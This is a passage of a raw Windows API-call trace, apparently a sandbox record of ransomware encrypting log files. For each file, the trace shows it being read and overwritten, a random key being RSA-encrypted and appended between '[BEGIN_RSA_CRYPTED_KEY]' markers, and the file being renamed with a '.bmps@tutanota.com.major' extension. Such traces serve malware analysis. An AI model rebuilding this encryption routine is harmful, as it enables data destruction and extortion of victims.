| out: hHeap=0x570000) returned 1 [0154.265] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d2690 | out: hHeap=0x570000) returned 1 [0154.265] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b7498 | out: hHeap=0x570000) returned 1 [0154.266] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5d18c0 [0154.266] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccc38 [0154.266] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0154.266] SetFileAttributesW (lpFileName="\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.013.etl", dwFileAttributes=0x80) returned 1 [0154.266] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5d1948 [0154.266] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xd0) returned 0x5b0b30 [0154.266] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d1948 | out: hHeap=0x570000) returned 1 [0154.266] CreateFileW (lpFileName="\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.013.etl" (normalized: "c:\\users\\all users\\usoshared\\logs\\notificationuxbroker.013.etl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x694 [0154.266] GetFileSizeEx (in: hFile=0x694, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=8192) returned 1 [0154.266] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2000) returned 0x6538b0 [0154.266] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2000) returned 0x6558b8 [0154.266] ReadFile (in: hFile=0x694, lpBuffer=0x6538b0, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x6538b0*, lpNumberOfBytesRead=0x2e3f9b4*=0x2000, lpOverlapped=0x0) returned 1 [0154.304] SetFilePointer (in: hFile=0x694, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0154.304] WriteFile (in: hFile=0x694, lpBuffer=0x6558b8*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x6558b8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x2000, lpOverlapped=0x0) returned 1 [0154.304] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6538b0 | out: hHeap=0x570000) returned 1 [0154.304] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6558b8 | out: hHeap=0x570000) returned 1 [0154.304] SetFilePointer (in: hFile=0x694, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x2000 [0154.304] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0154.304] WriteFile (in: hFile=0x694, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0154.304] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0154.304] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0154.305] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0154.305] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0154.305] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="AakNfe7rwoMlqAYKY1ACz7jl1E6OnH53epSPvowN8UcU20IIYdUKduGGcX9THn3x\nCSQppCxmgqg0FjfAOdzWn3nGzpEBh8dlVaJWxrG0+1EAYe0ISRsRRbqmBdj1Ah6/\nRcUOxPFuA3R18qgtk7US+1ZobWEKUU9c9DwYY6SXK2sOrGDuGCR8/bXuak0oXx4j\nK1tMiuuL2mPDIxQz15q0oOJFkylxOa/6HjTzvhRC1zkN7puPAvyr/DKvhOxiJODw\nBABYrst4crov0I74Yc358w3BKQS7Ur81QXGPCUP/S7mrVu9YQv6rNvLoeebeqzLV\nq9K0noL/xM7xGtbgP4MHgg==\n", pcchString=0x2e3f9a8) returned 1 [0154.305] WriteFile (in: hFile=0x694, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0154.305] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0154.305] WriteFile (in: hFile=0x694, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0154.305] CloseHandle (hObject=0x694) returned 1 [0154.305] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0154.305] MoveFileExW (lpExistingFileName="\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.013.etl" (normalized: "c:\\users\\all users\\usoshared\\logs\\notificationuxbroker.013.etl"), lpNewFileName="\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.013.etl.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\all users\\usoshared\\logs\\notificationuxbroker.013.etl.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0154.307] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b0b30 | out: hHeap=0x570000) returned 1 [0154.307] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccc38 | out: hHeap=0x570000) returned 1 [0154.307] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d18c0 | out: hHeap=0x570000) returned 1 [0154.307] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6b90 | out: hHeap=0x570000) returned 1 [0154.307] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5d2470 [0154.307] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccb20 [0154.307] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0154.307] SetFileAttributesW (lpFileName="\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.012.etl", dwFileAttributes=0x80) returned 1 [0154.308] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5d24f8 [0154.308] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xd0) returned 0x5aff60 [0154.308] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d24f8 | out: hHeap=0x570000) returned 1 [0154.308] CreateFileW (lpFileName="\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.012.etl" (normalized: "c:\\users\\all users\\usoshared\\logs\\notificationuxbroker.012.etl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x694 [0154.308] GetFileSizeEx (in: hFile=0x694, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=8192) returned 1 [0154.308] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2000) returned 0x6538b0 [0154.308] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2000) returned 0x6558b8 [0154.308] ReadFile (in: hFile=0x694, lpBuffer=0x6538b0, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x6538b0*, lpNumberOfBytesRead=0x2e3f9b4*=0x2000, lpOverlapped=0x0) returned 1 [0154.355] SetFilePointer (in: hFile=0x694, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0154.355] WriteFile (in: hFile=0x694, lpBuffer=0x6558b8*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x6558b8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x2000, lpOverlapped=0x0) returned 1 [0154.355] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6538b0 | out: hHeap=0x570000) returned 1 [0154.355] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6558b8 | out: hHeap=0x570000) returned 1 [0154.355] SetFilePointer (in: hFile=0x694, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x2000 [0154.355] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0154.355] WriteFile (in: hFile=0x694, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0154.355] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0154.355] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0154.355] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0154.356] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0154.356] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="Qbuw8Vwt7begjVeuvF8iawjVWmtB2/HCPfHy2Eu+8df62gdACCREBbS002j58/9V\nsWiapFbDS49nJl1cf4DMJulDlAYgN81a/ucmVuE/iZRjh1YfK8N4EKRwJHCaMjw1\njtlhL4txwIx1y+w1PSR70gllfG/BGFn5oK1bjTDzo0YKHjW47gxO4TQmWZf3J2i7\nZK+klrqMwt7ti8z35m0rNCsNGDkPqMd1ZjYptTesGina3sNtO3xO4WhZ3kXSqhk0\n4prlBCLzS+bN/MJHznhtEkNjk87ixOjSWbtNAl8l8SKBmttYo7trAqm7VR7WicrW\nm/GGS0QTtItYH2WIcZDaiw==\n", pcchString=0x2e3f9a8) returned 1 [0154.356] WriteFile (in: hFile=0x694, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0154.356] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0154.356] WriteFile (in: hFile=0x694, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0154.356] CloseHandle (hObject=0x694) returned 1 [0154.356] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0154.356] MoveFileExW (lpExistingFileName="\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.012.etl" (normalized: "c:\\users\\all users\\usoshared\\logs\\notificationuxbroker.012.etl"), lpNewFileName="\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.012.etl.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\all users\\usoshared\\logs\\notificationuxbroker.012.etl.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0154.359] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5aff60 | out: hHeap=0x570000) returned 1 [0154.359] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccb20 | out: hHeap=0x570000) returned 1 [0154.359] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d2470 | out: hHeap=0x570000) returned 1 [0154.359] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b71f0 | out: hHeap=0x570000) returned 1 [0154.359] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5d1838 [0154.359] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccb20 [0154.359] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0154.359] SetFileAttributesW (lpFileName="\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.011.etl", dwFileAttributes=0x80) returned 1 [0154.360] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5d1948 [0154.360] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xd0) returned 0x5b11f0 [0154.360] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d1948 | out: hHeap=0x570000) returned 1 [0154.360] CreateFileW (lpFileName="\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.011.etl" (normalized: "c:\\users\\all users\\usoshared\\logs\\notificationuxbroker.011.etl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x694 [0154.360] GetFileSizeEx (in: hFile=0x694, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=8192) returned 1 [0154.360] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2000) returned 0x6538b0 [0154.360] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2000) returned 0x6558b8 [0154.360] ReadFile (in: hFile=0x694, lpBuffer=0x6538b0, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x6538b0*, lpNumberOfBytesRead=0x2e3f9b4*=0x2000, lpOverlapped=0x0) returned 1 [0154.410] SetFilePointer (in: hFile=0x694, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0154.410] WriteFile (in: hFile=0x694, lpBuffer=0x6558b8*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x6558b8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x2000, lpOverlapped=0x0) returned 1 [0154.411] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6538b0 | out: hHeap=0x570000) returned 1 [0154.411] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6558b8 | out: hHeap=0x570000) returned 1 [0154.411] SetFilePointer (in: hFile=0x694, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x2000 [0154.411] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0154.411] WriteFile (in: hFile=0x694, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0154.411] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0154.411] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0154.411] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0154.411] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0154.411] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="73rLI7sO6xCJxXliRESj1GRRiQMnzZAU2pUYnFIUu7j1KJnIZ6OAAhWBfAhXgDik\nxksR1dVgtlBZs3eZbSMWraaKbowsp9JiVxKA7vkowaI5Qn6/p77dzAaFbYx39z1R\nlaYC/iHHL3lBykrDwXZ74zd789ombHpGgvgVORjv0FLDzPVKCIFsM6DE3msjwi4I\ndc37ZHVSrLiPE7eb6j9O/xGJe9G/4duyJcp7vVEeKuxmw2m4KbDNcijPWQ7AztIh\nKdvIW1TEsw98FuRow7HvfoWZlR26dWMx70nBLy5CzfEMIXVf5m5qMw0YLhFHutwX\n6V8XpIjpNPuOiBcy4AEiQg==\n", pcchString=0x2e3f9a8) returned 1 [0154.411] WriteFile (in: hFile=0x694, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0154.411] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0154.412] WriteFile (in: hFile=0x694, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0154.412] CloseHandle (hObject=0x694) returned 1 [0154.412] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0154.412] MoveFileExW (lpExistingFileName="\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.011.etl" (normalized: "c:\\users\\all users\\usoshared\\logs\\notificationuxbroker.011.etl"), lpNewFileName="\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.011.etl.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\all users\\usoshared\\logs\\notificationuxbroker.011.etl.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0154.474] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b11f0 | out: hHeap=0x570000) returned 1 [0154.475] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccb20 | out: hHeap=0x570000) returned 1 [0154.475] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d1838 | out: hHeap=0x570000) returned 1 [0154.475] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b70e0 | out: hHeap=0x570000) returned 1 [0154.475] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5d1838 [0154.475] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cc990 [0154.475] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0154.475] SetFileAttributesW (lpFileName="\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.010.etl", dwFileAttributes=0x80) returned 1 [0154.475] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5d20b8 [0154.475] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xd0) returned 0x5b0a58 [0154.475] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d20b8 | out: hHeap=0x570000) returned 1 [0154.475] CreateFileW (lpFileName="\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.010.etl" (normalized: "c:\\users\\all users\\usoshared\\logs\\notificationuxbroker.010.etl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x694 [0154.475] GetFileSizeEx (in: hFile=0x694, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=8192) returned 1 [0154.475] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2000) returned 0x6538b0 [0154.475] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2000) returned 0x6558b8 [0154.475] ReadFile (in: hFile=0x694, lpBuffer=0x6538b0, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x6538b0*, lpNumberOfBytesRead=0x2e3f9b4*=0x2000, lpOverlapped=0x0) returned 1 [0154.586] SetFilePointer (in: hFile=0x694, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0154.586] WriteFile (in: hFile=0x694, lpBuffer=0x6558b8*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x6558b8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x2000, lpOverlapped=0x0) returned 1 [0154.587] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6538b0 | out: hHeap=0x570000) returned 1 [0154.587] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6558b8 | out: hHeap=0x570000) returned 1 [0154.587] SetFilePointer (in: hFile=0x694, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x2000 [0154.587] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0154.587] WriteFile (in: hFile=0x694, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0154.587] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0154.587] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0154.587] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0154.587] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0154.588] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="6d4qo1avSApjMACx1b8TM0W4W9t+9vWS+DFVaAPRHHa05wNoEK58fJwlmIG30RZL\nHh1GeU3nib2XDtHeIjU2cvsXyq7ZuDU0TJxyl19cu90j2gJLwiX7TXLMhym+BVLO\nJ8OgeKGsLITOkZDHOahUrmZ6H13fnu3JQRBwRxmyD2MLu3DH/A7b+UTWfLTtn4v8\nImePE5qkGe/UqQydalZybc8VbCBQnTcVt0zK84kGqm/pw+JzU71jYzSoTUFzkX2E\nJRT6dtwax6SU4k2a6FvUFzpUtuRuCqF0lsDgcjnFBIvGuK2p5IZUMdTMApgEFi0c\nqrycGE1IAyDUL64vJ1Pifg==\n", pcchString=0x2e3f9a8) returned 1 [0154.588] WriteFile (in: hFile=0x694, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0154.588] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0154.588] WriteFile (in: hFile=0x694, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0154.588] CloseHandle (hObject=0x694) returned 1 [0154.588] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0154.588] MoveFileExW (lpExistingFileName="\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.010.etl" (normalized: "c:\\users\\all users\\usoshared\\logs\\notificationuxbroker.010.etl"), lpNewFileName="\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.010.etl.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\all users\\usoshared\\logs\\notificationuxbroker.010.etl.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0154.590] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b0a58 | out: hHeap=0x570000) returned 1 [0154.590] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cc990 | out: hHeap=0x570000) returned 1 [0154.590] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d1838 | out: hHeap=0x570000) returned 1 [0154.590] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6b08 | out: hHeap=0x570000) returned 1 [0154.590] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5d2030 [0154.590] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccc10 [0154.590] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0154.590] SetFileAttributesW (lpFileName="\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.009.etl", dwFileAttributes=0x80) returned 1 [0154.590] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5d1bf0 [0154.590] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xd0) returned 0x5b1628 [0154.590] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d1bf0 | out: hHeap=0x570000) returned 1 [0154.590] CreateFileW (lpFileName="\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.009.etl" (normalized: "c:\\users\\all users\\usoshared\\logs\\notificationuxbroker.009.etl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x694 [0154.591] GetFileSizeEx (in: hFile=0x694, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=8192) returned 1 [0154.591] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2000) returned 0x6538b0 [0154.591] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2000) returned 0x6558b8 [0154.591] ReadFile (in: hFile=0x694, lpBuffer=0x6538b0, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x6538b0*, 